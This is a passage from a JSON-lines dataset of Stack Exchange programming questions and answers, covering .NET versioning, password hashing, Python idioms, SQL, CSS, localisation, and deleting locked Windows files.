"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.327339"}
{"id": "hf_4796c3270106", "question": "<p>I would like the version property of my application to be incremented for each build but I'm not sure on how to enable this functionality in Visual Studio (2005/2008). I have tried to specify the AssemblyVersion as 1.0.* but it doesn't get me exactly what I want. </p>\n\n<p>I'm also using a settings file and in earlier attempts when the assembly version changed my settings got reset to the default since the application looked for the settings file in another directory. </p>\n\n<p>I would like to be able to display a version number in the form of 1.1.38 so when a user finds a problem I can log the version they are using as well as tell them to upgrade if they have an old release.</p>\n\n<p>A short explanation of how the versioning works would also be appreciated. When does the build and revision number get incremented?</p>\n", "question_body": "", "answer": "With the \"Built in\" stuff, you can't, as using 1.0.* or 1.0.0.* will replace the revision and build numbers with a coded date/timestamp, which is usually also a good way.\nFor more info, see the\nAssembly Linker\nDocumentation in the /v tag.\nAs for automatically incrementing numbers, use the AssemblyInfo Task:\nAssemblyInfo Task\nThis can be configured to automatically increment the build number.\nThere are 2 Gotchas:\nEach of the 4 numbers in the Version string is limited to 65535. This is a Windows Limitation and unlikely to get fixed.\nWhy are build numbers limited to 65535?\nUsing with with Subversion requires a small change:\nUsing MSBuild to generate assembly version info at build time (including SubVersion fix)\nRetrieving the Version number is then quite easy:\n```\n```\nVersion v = Assembly.GetExecutingAssembly().GetName().Version;\nstring About = string.Format(CultureInfo.InvariantCulture, @\"YourApp Version {0}.{1}.{2} (r{3})\", v.Major, v.Minor, v.Build, v.Revision);\n```\n```\nAnd, to clarify: In .net or at least in C#, the build is actually the THIRD number, not the fourth one as some people (for example Delphi Developers who are used to Major.Minor.Release.Build) might expect.\nIn .net, it's Major.Minor.Build.Revision.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.363639"}
{"id": "hf_81760a92ef4e", "question": "<p>What is the fastest, yet secure way to encrypt passwords (in PHP preferably), and for whichever method you choose, is it portable?</p>\n\n<p>In other words, if I later migrate my website to a different server, will my passwords continue to work?</p>\n\n<p>The method I am using now, as I was told, is dependent on the exact versions of the libraries installed on the server.</p>\n", "question_body": "", "answer": "If you are choosing an encryption method for your login system then speed is not your friend, Jeff had a to-and-frow with Thomas Ptacek about passwords and the\nconclusion\nwas that you should use the slowest, most secure encryption method you can afford to.\nFrom Thomas Ptacek's blog:\nSpeed is exactly what you don’t want in a password hash function.\nModern password schemes are attacked with incremental password crackers.\nIncremental crackers don’t precalculate all possible cracked passwords. They consider each password hash individually, and they feed their dictionary through the password hash function the same way your PHP login page would. Rainbow table crackers like Ophcrack use space to attack passwords; incremental crackers like John the Ripper, Crack, and LC5 work with time: statistics and compute.\nThe password attack game is scored in time taken to crack password X. With rainbow tables, that time depends on how big your table needs to be and how fast you can search it. With incremental crackers, the time depends on how fast you can make the password hash function run.\nThe better you can optimize your password hash function, the faster your password hash function gets, the weaker your scheme is. MD5 and SHA1, even conventional block ciphers like DES, are designed to be fast. MD5, SHA1, and DES are weak password hashes. On modern CPUs, raw crypto building blocks like DES and MD5 can be bitsliced, vectorized, and parallelized to make password searches lightning fast. Game-over FPGA implementations cost only hundreds of dollars.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.399845"}
{"id": "hf_70dfe1a3d420", "question": "<p>I don't remember whether I was dreaming or not but I seem to recall there being a function which allowed something like,</p>\n\n<pre><code>foo in iter_attr(array of python objects, attribute name)</code></pre>\n\n<p>I've looked over the docs but this kind of thing doesn't fall under any obvious listed headers</p>\n", "question_body": "", "answer": "No, you were not dreaming.  Python has a pretty excellent list comprehension system that lets you manipulate lists pretty elegantly, and depending on exactly what you want to accomplish, this can be done a couple of ways.  In essence, what you're doing is saying \"For item in list if criteria.matches\", and from that you can just iterate through the results or dump the results into a new list.\nI'm going to crib an example from\nDive Into Python\nhere, because it's pretty elegant and they're smarter than I am.  Here they're getting a list of files in a directory, then filtering the list for all files that match a regular expression criteria.\n```\n```\nfiles = os.listdir(path)                               \n    test = re.compile(\"test\\.py$\", re.IGNORECASE)          \n    files = [f for f in files if test.search(f)]\n```\n```\nYou could do this without regular expressions, for your example, for anything where your expression at the end returns true for a match.  There are other options like using the filter() function, but if I were going to choose, I'd go with this.\nEric Sipple", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.424353"}
{"id": "hf_f935849dacd1", "question": "<p>I wrote a windows service using VB that read some legacy data from Visual Foxpro Databases to be inserted in SQL 2005. The problem is this use to run fine in Windows server 2003 32-Bits, but the client recently moved to Windows 2003 64-Bits and now the service won't work. I'm getting a message the the VFP .NET OLEdb provider is not found. I researched and everything seems to point out that there is no solution. Any Help, please...</p>\n", "question_body": "", "answer": "Have you tried changing the target CPU to\n```\nx86\n```\ninstead of\n```\n\"Any CPU\"\n```\nin the advanced compiler options? I know that this solves some problems with other\n```\nOLEDB\n```\nproviders by forcing the use of the 32-bit version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.486058"}
{"id": "hf_372574530882", "question": "<p>How do I format a string to <a href=\"http://www.grammar-monster.com/lessons/capital_letters_title_case.htm\" rel=\"noreferrer\">title case</a>?</p>\n", "question_body": "", "answer": "Here is a simple static method to do this in C#:\n```\n```\npublic static string ToTitleCaseInvariant(string targetString)\n{\n    return System.Threading.Thread.CurrentThread.CurrentCulture.TextInfo.ToTitleCase(targetString);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.523719"}
{"id": "hf_f61af22a5e22", "question": "<p>One may not always know the <code>Type</code> of an object at compile-time, but may need to create an instance of the <code>Type</code>.  </p>\n\n<p>How do you get a new object instance from a <code>Type</code>?</p>\n", "question_body": "", "answer": "The\n```\nActivator\n```\nclass within the root\n```\nSystem\n```\nnamespace is pretty powerful.\nThere are a lot of overloads for passing parameters to the constructor and such. Check out the documentation at:\nhttp://msdn.microsoft.com/en-us/library/system.activator.createinstance.aspx\nor (new path)\nhttps://learn.microsoft.com/en-us/dotnet/api/system.activator.createinstance\nHere are some simple examples:\n```\n```\nObjectType instance = (ObjectType)Activator.CreateInstance(objectType);\n\nObjectType instance = (ObjectType)Activator.CreateInstance(\"MyAssembly\",\"MyNamespace.ObjectType\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.548210"}
{"id": "hf_282485b60c13", "question": "<p>What is the best way to localise a date format descriptor?</p>\n\n<p>As anyone from a culture which does not use the mm/dd/yyyy format knows, it is annoying to have to enter dates in this format. The .NET framework provides some very good localisation support, so it's trivial to parse dates according to the users culture, but you often want to also display a helpful hint as to the format required (especially to distinguish between yy and yyyy which is interchangeable in most cultures).</p>\n\n<p>What is the best way to do this in a way that make sense to most users (e.g. dd/M/yyy is confusing because of the change in case and the switching between one and two letters).</p>\n", "question_body": "", "answer": "Here is my current method. Any suggestions?\n```\n```\nRegex singleMToDoubleRegex = new Regex(\"(?<!m)m(?!m)\");\nRegex singleDToDoubleRegex = new Regex(\"(?<!d)d(?!d)\");\nCultureInfo currentCulture = CultureInfo.CurrentUICulture;\n\n// If the culture is netural there is no date pattern to use, so use the default.\nif (currentCulture.IsNeutralCulture)\n{\n    currentCulture = CultureInfo.InvariantCulture;\n}\n\n// Massage the format into a more general user friendly form.\nstring shortDatePattern = CultureInfo.CurrentUICulture.DateTimeFormat.ShortDatePattern.ToLower();\nshortDatePattern = singleMToDoubleRegex.Replace(shortDatePattern, \"mm\");\nshortDatePattern = singleDToDoubleRegex.Replace(shortDatePattern, \"dd\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.572821"}
{"id": "hf_48990067d8c1", "question": "<p>I can get Python to work with Postgresql but I cannot get it to work with MySQL. The main problem is that on the shared hosting account I have I do not have the ability to install things such as Django or PySQL, I generally fail when installing them on my computer so maybe it's good I can't install on the host.</p>\n\n<p>I found <a href=\"http://barryp.org/software/bpgsql/\" rel=\"noreferrer\">bpgsql</a> really good because it does not require an install, it's a single file that I can look at, read and then call the functions of. Does anybody know of something like this for MySQL?</p>\n", "question_body": "", "answer": "I don't have any experience with\nhttp://www.SiteGround.com\nas a web host personally.\nThis is just a guess, but it's common for a shared host to support Python and MySQL with the MySQLdb module (e.g., GoDaddy does this).  Try the following CGI script to see if MySQLdb is installed.\n```\n```\n#!/usr/bin/python\n\nmodule_name = 'MySQLdb'\nhead = '''Content-Type: text/html\n\n%s is ''' % module_name\n\ntry:\n    __import__(module_name)\n    print head + 'installed'\nexcept ImportError:\n    print head + 'not installed'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.597550"}
{"id": "hf_8877ba7cc7ad", "question": "<p>I need to programmatically solve a system of linear equations in C, Objective C, or (if needed) C++.</p>\n\n<p>Here's an example of the equations:</p>\n\n<pre><code>-44.3940 = a * 50.0 + b * 37.0 + tx\n-45.3049 = a * 43.0 + b * 39.0 + tx\n-44.9594 = a * 52.0 + b * 41.0 + tx\n</code></pre>\n\n<p>From this, I'd like to get the best approximation for <code>a</code>, <code>b</code>, and <code>tx</code>.</p>\n", "question_body": "", "answer": "Are you looking for a software package that'll do the work or actually doing the matrix operations and such and do each step?\nThe the first, a coworker of mine just used\nOcaml GLPK\n. It is just a wrapper for the\nGLPK\n, but it removes a lot of the steps of setting things up. It looks like you're going to have to stick with the GLPK, in C, though. For the latter, thanks to delicious for saving an old article I used to learn LP awhile back,\nPDF\n. If you need specific help setting up further, let us know and I'm sure, me or someone will wander back in and help, but, I think it's fairly straight forward from here. Good Luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.621876"}
{"id": "hf_5ff216e74c57", "question": "<p>I haven't been able to find an understandable explanation of how to actually use Python's <code>itertools.groupby()</code> function.  What I'm trying to do is this:</p>\n<ul>\n<li>Take a list - in this case, the children of an objectified <code>lxml</code> element</li>\n<li>Divide it into groups based on some criteria</li>\n<li>Then later iterate over each of these groups separately.</li>\n</ul>\n<p>I've reviewed <a href=\"https://docs.python.org/3/library/itertools.html#itertools.groupby\" rel=\"noreferrer\">the documentation</a>, but I've had trouble trying to apply them beyond a simple list of numbers.</p>\n<p>So, how do I use of <code>itertools.groupby()</code>?  Is there another technique I should be using?  Pointers to good &quot;prerequisite&quot; reading would also be appreciated.</p>\n", "question_body": "", "answer": "The example on the Python docs is quite straightforward:\n```\n```\ngroups = []\nuniquekeys = []\nfor k, g in groupby(data, keyfunc):\n    groups.append(list(g))      # Store group iterator as a list\n    uniquekeys.append(k)\n```\n```\nSo in your case, data is a list of nodes,\n```\nkeyfunc\n```\nis where the logic of your criteria function goes and then\n```\ngroupby()\n```\ngroups the data.\nYou must be careful to\nsort the data\nby the criteria before you call\n```\ngroupby\n```\nor it won't work.\n```\ngroupby\n```\nmethod actually just iterates through a list and whenever the key changes it creates a new group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.646775"}
{"id": "hf_daaafef81fde", "question": "<p>SQL:</p>\n\n<pre><code>SELECT\n   u.id,\n   u.name,\n   isnull(MAX(h.dateCol), '1900-01-01') dateColWithDefault\nFROM universe u\nLEFT JOIN history h \n   ON u.id=h.id \n   AND h.dateCol&lt;GETDATE()-1\nGROUP BY u.Id, u.name\n</code></pre>\n", "question_body": "", "answer": "A solution, albeit one that defers handling of the null value to the code, could be:\nDateTime yesterday = DateTime.Now.Date.AddDays(-1);\n```\n```\nvar collection=\n    from u in db.Universe\n    select new\n    {\n        u.id,\n        u.name,\n        MaxDate =(DateTime?)\n       (\n           from h in db.History\n           where u.Id == h.Id\n           && h.dateCol < yesterday\n           select h.dateCol \n       ).Max()\n    };\n```\n```\nThis does not produce exactly the same SQL, but does provide the same logical result. Translating \"complex\" SQL queries to LINQ is not always straightforward.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.708322"}
{"id": "hf_a4cd2af9204a", "question": "<p>I'm trying to setup CruiseControl.net at the moment. So far it works nice, but I have a Problem with the MSBuild Task.</p>\n\n<p>According to the <a href=\"http://confluence.public.thoughtworks.org/display/CCNET/MsBuild+Task\" rel=\"noreferrer\">Documentation</a>, it passes CCNetArtifactDirectory to MSBuild. But how do I use it?</p>\n\n<p>I tried this:</p>\n\n<pre><code>&lt;buildArgs&gt;\n   /noconsolelogger /p:OutputPath=$(CCNetArtifactDirectory)\\test\n&lt;/buildArgs&gt;\n</code></pre>\n\n<p>But that does not work. In fact, it kills the service with this error:</p>\n\n<blockquote>\n  <p>ThoughtWorks.CruiseControl.Core.Config.Preprocessor.EvaluationException: Reference to unknown symbol CCNetArtifactDirectory</p>\n</blockquote>\n\n<p>Documentation is rather sparse, and google und mainly offers modifying the .sln Project file, which is what I want to avoid in order to be able to manually build this project later - I would really prefer <code>/p:OutputPath</code>.</p>\n", "question_body": "", "answer": "The CCNetArtifactDirectory is passed to the MSBuild by default, so you dont need to worry about it. MSBuild will place the build output in the \"bin location\" relevant to the working directory that you have specified.\n```\n```\n<executable>c:\\WINDOWS\\Microsoft.NET\\Framework\\v3.5\\MSBuild.exe</executable>\n<workingDirectory>C:\\data\\projects\\FooSolution\\</workingDirectory>\n<projectFile>FooSolution.sln</projectFile>\n<buildArgs>/noconsolelogger /p:Configuration=Debug </buildArgs>\n```\n```\nSo in the above example your build output will be put in C:\\data\\projects\\FooSolution[ProjectName]\\bin\\Debug. Should you want to output to a different location you may want to look at of the  tag in CCNET.\n```\n```\n<publishers>\n  <xmllogger />\n  <buildpublisher>\n    <sourceDir>C:\\data\\projects\\FooSolution\\FooProject\\bin\\Debug</sourceDir>\n    <publishDir>C:\\published\\FooSolution\\</publishDir>\n    <useLabelSubDirectory>false</useLabelSubDirectory>\n  </buildpublisher>\n</publishers>\n```\n```\nThis will allow you to publish your output to a different location.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.745751"}
{"id": "hf_83e95d523fcb", "question": "<p>Suppose I have the following CSS rule in my page:</p>\n<pre class=\"lang-css prettyprint-override\"><code>body {\n    font-family: Calibri, Trebuchet MS, Helvetica, sans-serif;\n}\n</code></pre>\n<p>How could I detect which one of the defined fonts were used in the user's browser?</p>\n<p>For people wondering why I want to do this is because the font I'm detecting contains glyphs that are <em>not</em> available in other fonts. If the user does <em>not</em> have the font, then I want it to display a link asking the user to download that font (so they can use my web application with the correct font).</p>\n<p>Currently, I am displaying the download font link for all users. I want to only display this for people who do <em>not</em> have the correct font installed.</p>\n", "question_body": "", "answer": "I've seen it done in a kind of iffy, but pretty reliable way. Basically, an element is set to use a specific font and a string is set to that element.  If the font set for the element does not exist, it takes the font of the parent element.  So, what they do is measure the width of the rendered string.  If it matches what they expected for the desired font as opposed to the derived font, it's present. This won't work for monospaced fonts.\nHere's where it came from:\nJavascript/CSS Font Detector (ajaxian.com; 12 Mar 2007)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.770414"}
{"id": "hf_e395260a8540", "question": "<p>How do you debug <strong>PHP</strong> scripts?</p>\n\n<p>I am aware of basic debugging such as using the Error Reporting. The breakpoint debugging in <strong>PHPEclipse</strong> is also quite useful.</p>\n\n<p>What is the <strong>best</strong> (in terms of fast and easy) way to debug in phpStorm or any other IDE?</p>\n", "question_body": "", "answer": "I've used the\nZend Studio (5.5)\n, together with\nZend Platform\n. That gives proper debugging, breakpoints/stepping over the code etc., although at a price.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.834411"}
{"id": "hf_73959db90eb3", "question": "<p>How have you implemented Internationalization (i18n) in actual projects you've worked on?</p>\n\n<p>I took an interest in making software cross-cultural after I read the famous post by Joel, <a href=\"http://www.joelonsoftware.com/articles/Unicode.html\" rel=\"noreferrer\">The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)</a>. However, I have yet to able to take advantage of this in a real project, besides making sure I used Unicode strings where possible. But making all your strings Unicode and ensuring you understand what encoding everything you work with is in is just the tip of the i18n iceberg.</p>\n\n<p>Everything I have worked on to date has been for use by a controlled set of US English speaking people, or i18n just wasn't something we had time to work on before pushing the project live. So I am looking for any tips or war stories people have about making software more localized in real world projects.</p>\n", "question_body": "", "answer": "I worked on a project for my previous employer that used .NET, and there was a built in .resx format we used.  We basically had a file that had all translations in the .resx file, and then multiple files with different translations.  The consequence of this is that you have to be very diligent about ensuring that all strings visible in the application are stored in the .resx, and anytime one is changed you have to update all languages you support.\nIf you get lazy and don't notify the people in charge of translations, or you embed strings without going through your localization system, it will be a nightmare to try and fix it later.  Similarly, if localization is an afterthought, it will be very difficult to put in place.  Bottom line, if you don't have all visible strings stored externally in a standard place, it will be very difficult to find all that need to be localized.\nOne other note, very strictly avoid concatenating visible strings directly, such as\n```\n```\nString message = \"The \" + item + \" is on sale!\";\n```\n```\nInstead, you must use something like\n```\n```\nString message = String.Format(\"The {0} is on sale!\", item);\n```\n```\nThe reason for this is that different languages often order the words differently, and concatenating strings directly will need a new build to fix, but if you used some kind of string replacement mechanism like above, you can modify your .resx file (or whatever localization files you use) for the specific language that needs to reorder the words.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.858909"}
{"id": "hf_cd18c150dad4", "question": "<p>Given a relatively simple CSS:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>div {\r\n  width: 150px;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div&gt;\r\n  12333-2333-233-23339392-332332323\r\n&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<blockquote>\n  <p>How do I make it so that the string stays constrained to the <code>width</code>\n  of <strong>150</strong>, and wraps to a new line on the <em>hyphen</em>?</p>\n</blockquote>\n", "question_body": "", "answer": "Replace your hyphens with this:\n```\n```\n&shy;\n```\n```\nIt's called a \"soft\" hyphen.\n```\n```\ndiv {\n  width: 150px;\n}\n```\n```\n```\n```\n<div>\n  12333&shy;2333&shy;233&shy;23339392&shy;332332323\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.883985"}
{"id": "hf_de717b3b4258", "question": "<p>What's the simplest way to connect and query a database for a set of records in C#?</p>\n", "question_body": "", "answer": "Very roughly and from memory since I don't have code on this laptop:\n```\n```\nusing (OleDBConnection conn = new OleDbConnection())\n{\n  conn.ConnectionString = \"Whatever connection string\";\n\n  using (OleDbCommand cmd = new OleDbCommand())\n  {\n    cmd.Connection = conn;\n    cmd.CommandText = \"Select * from CoolTable\";\n\n    using (OleDbDataReader dr = cmd.ExecuteReader())\n    {\n      while (dr.Read())\n      {\n        // do something like Console.WriteLine(dr[\"column name\"] as String);\n      }\n    }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.909145"}
{"id": "hf_00b28d49ed58", "question": "<p>Attempting to insert an escape character into a table results in a warning. </p>\n\n<p>For example:</p>\n\n<pre><code>create table EscapeTest (text varchar(50));\n\ninsert into EscapeTest (text) values ('This is the first part \\n And this is the second');\n</code></pre>\n\n<p>Produces the warning:</p>\n\n<pre><code>WARNING:  nonstandard use of escape in a string literal\n</code></pre>\n\n<p>(<em>Using PSQL 8.2</em>)</p>\n\n<p>Anyone know how to get around this?</p>\n", "question_body": "", "answer": "Partially. The text is inserted, but the warning is still generated.\nI found a discussion that indicated the text needed to be preceded with 'E', as such:\n```\n```\ninsert into EscapeTest (text) values (E'This is the first part \\n And this is the second');\n```\n```\nThis suppressed the warning, but the text was still not being returned correctly. When I added the additional slash as Michael suggested, it worked.\nAs such:\n```\n```\ninsert into EscapeTest (text) values (E'This is the first part \\\\n And this is the second');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.933812"}
{"id": "hf_f9a3ed2d4dc3", "question": "<p>I've read that it is possible to add a method to an existing object (i.e., not in the class definition) in Python. </p>\n\n<p>I understand that it's not always good to do so. But how might one do this?</p>\n", "question_body": "", "answer": "In Python monkeypatching generally works by overwriting a class or function's signature with your own. Below is an example from the\nZope Wiki\n:\n```\n```\nfrom SomeOtherProduct.SomeModule import SomeClass\ndef speak(self):\n   return \"ook ook eee eee eee!\"\nSomeClass.speak = speak\n```\n```\nThis code will overwrite/create a method called\n```\nspeak\n```\nin the class. In Jeff Atwood's\nrecent post on monkey patching\n, he showed an example in C# 3.0 which is the current language I use for work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:23.983340"}
{"id": "hf_71277866949a", "question": "<p>I need to grab the <code>base64-encoded</code> representation of the <code>ViewState</code>. Obviously, this would not be available until fairly late in the request lifecycle, which is OK.</p>\n\n<p>For example, if the output of the page includes:</p>\n\n<pre><code>&lt;input type=\"hidden\" name=\"__VIEWSTATE\" \n  id=\"__VIEWSTATE\" value=\"/wEPDwUJODU0Njc5MD...==\" /&gt;\n</code></pre>\n\n<p>I need a way on the server-side to get the value <code>\"/wEPDwUJODU0Njc5MD...==\"</code></p>\n\n<p>To clarify, I need this value when the page is being rendered, not on PostBack. e.g. I need to know the ViewState value that is being <em>sent</em> to the client, not the ViewState I'm getting back from them.</p>\n", "question_body": "", "answer": "Rex, I suspect a good place to start looking is solutions that\ncompress the ViewState\n-- they're grabbing ViewState on the server before it's sent down to the client and gzipping it. That's exactly where you want to be.\nScott Hanselman on ViewState Compression\n(2005)\nViewState Compression with System.IO.Compression\n(2007)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.020745"}
{"id": "hf_8add14be5969", "question": "<p>After upgrading a rails 1.2 website to 2.1, the <a href=\"http://agilewebdevelopment.com/plugins/exception_notifier\" rel=\"noreferrer\">ExceptionNotifier plugin</a> no longer works, complaining about this error:</p>\n\n<blockquote>\n  <p>ActionView::TemplateFinder::InvalidViewPath:  Unprocessed view path\n  found:\n  \"/path/to/appname/vendor/plugins/exception_notification/lib/../views\".\n  Set your view paths with #append_view_path, #prepend_view_path, or #view_paths=.</p>\n</blockquote>\n\n<p>What causes it and how do I fix it?</p>\n", "question_body": "", "answer": "This was caused by a change in rails 2.1 which prevents rails from loading views from any arbitrary path for security reasons.\nThere is now an updated version of the plugin on github, so the solution is to use that.\nThe old solution here for posterity\nTo work around it, edit\n```\ninit.rb\n```\nunder your\n```\nvendor/plugins/exception_notification\n```\ndirectory, and add the following code to the end\n```\n```\nActionController::Base.class_eval do\n  append_view_path File.dirname(__FILE__) + '/lib/../views'\nend\n```\n```\nThis adds the ExceptionNotifier plugins' views folder to the list, so it is allowed to load them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.045799"}
{"id": "hf_9cbcfa8b368b", "question": "<p>What is the best way to display <code>Flash</code> content in a <strong>C#</strong> WinForms application? I would like to create a user control (similar to the current <code>PictureBox</code>) that will be able to display images and flash content.</p>\n\n<p>It would be great to be able to load the flash content from a <strong>stream</strong> of sorts rather than a file on disk.</p>\n", "question_body": "", "answer": "While I haven't used a flash object inside a windows form application myself, I do know that it's possible.\nIn Visual studio on your toolbox, choose to add a new component.\nThen in the new window that appears choose the\n\"COM Components\"\ntab to get a list in which you can find the\n\"Shockwave Flash Object\"\nOnce added to the toolbox, simply use the control as you would use any other \"standard\" control from visual studio.\nthree simple commands are available to interact with the control:\nAxShockwaveFlash1.Stop()\nAxShockwaveFlash1.Movie = FilePath &\n\"\\FileName.swf\"\nAxShockwaveFlash1.Play()\nwhich, I think, are all self explanatory.\nIt would be great to be able to load\n  the flash content from a stream of\n  sorts rather than a file on disk.\nI just saw you are also looking for a means to load the content from a stream,\nand because I'm not really sure that is possible with the shockwave flash object I will give you another option (two actually).\nthe first is the one I would advise you to use only when necessary, as it uses the full blown\n\"webbrowser component\"\n(also available as an extra toolbox item), which is like trying to shoot a fly with a bazooka.\nof course it will work, as the control will act as\na real browser window\n(actually the internet explorer browser), but its not really meant to be used in the way you need it.\nthe second option is to use something I just discovered while looking for more information about playing flash content inside a windows form.\nF-IN-BOX\nis a commercial solution that will also play content from a given website URL. (The link provided will direct you to the .NET code you have to use).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:24.082681"}
{"id": "hf_ecd3ee4951dc", "question": "<p>I'm looking for a way to delete a file which is locked by another process using C#. I suspect the method must be able to find which process is locking the file (perhaps by tracking the handles, although I'm not sure how to do this in C#) then close that process before being able to complete the file delete using <code>File.Delete()</code>.</p>\n", "question_body": "", "answer": "You can use this program,\nHandle\n, to find which process has the lock on your file. It's a command-line tool, so I guess you use the output from that. I'm not sure about finding it programmatically.\nIf deleting the file can wait, you could specify it for deletion when your computer next starts up:\nStart\n```\nREGEDT32 (W2K)\n```\nor\n```\nREGEDIT (WXP)\n```\nand navigate to:\n```\n```\nHKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\n```\n```\nW2K and WXP\nW2K:\nEdit\nAdd Value...\nData Type:\n```\nREG_MULTI_SZ\n```\nValue Name:\n```\nPendingFileRenameOperations\n```\nOK\nWXP:\nEdit\nNew\nMulti-String Value\nenter\n```\nPendingFileRenameOperations\n```\nIn the Data area, enter\n```\n\"\\??\\\" + filename\n```\nto be deleted. LFNs may\nbe entered without being embedded in quotes. To delete\n```\nC:\\Long Directory Name\\Long File Name.exe\n```\n, enter the following data:\n```\n```\n\\??\\C:\\Long Directory Name\\Long File Name.exe\n```\n```\nThen press\nOK\n.\nThe \"destination file name\" is a null (zero) string. It is entered\nas follows:\nW2K:\nEdit\nBinary\nselect Data Format: Hex\nclick at the end of the hex string\nenter 0000 (four zeros)\nOK\nWXP:\nRight-click the value\nchoose 